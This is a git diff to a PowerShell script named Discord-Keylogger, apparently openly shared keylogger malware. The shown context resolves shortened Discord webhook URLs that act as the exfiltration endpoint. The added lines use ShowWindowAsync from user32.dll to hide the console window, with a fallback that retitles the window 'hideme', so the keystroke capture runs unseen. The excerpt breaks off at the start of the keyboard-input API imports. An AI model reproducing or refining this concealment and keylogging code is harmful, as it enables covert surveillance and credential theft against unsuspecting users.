diff --git a/Discord-Keylogger/main.ps1 b/Discord-Keylogger/main.ps1 index 6b2ae19..afa4d5b 100644 --- a/Discord-Keylogger/main.ps1 +++ b/Discord-Keylogger/main.ps1 @@ -2,6 +2,19 @@ # shortened URL Detection if ($dc.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $dc = (irm $dc).url} +$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' +$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru +$hwnd = (Get-Process -PID $pid).MainWindowHandle +if($hwnd -ne [System.IntPtr]::Zero){ + $Type::ShowWindowAsync($hwnd, 0) +} +else{ + $Host.UI.RawUI.WindowTitle = 'hideme' + $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' }) + $hwnd = $Proc.MainWindowHandle + $Type::ShowWindowAsync($hwnd, 0) +} + # Import DLL Definitions for keyboard inputs $API = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]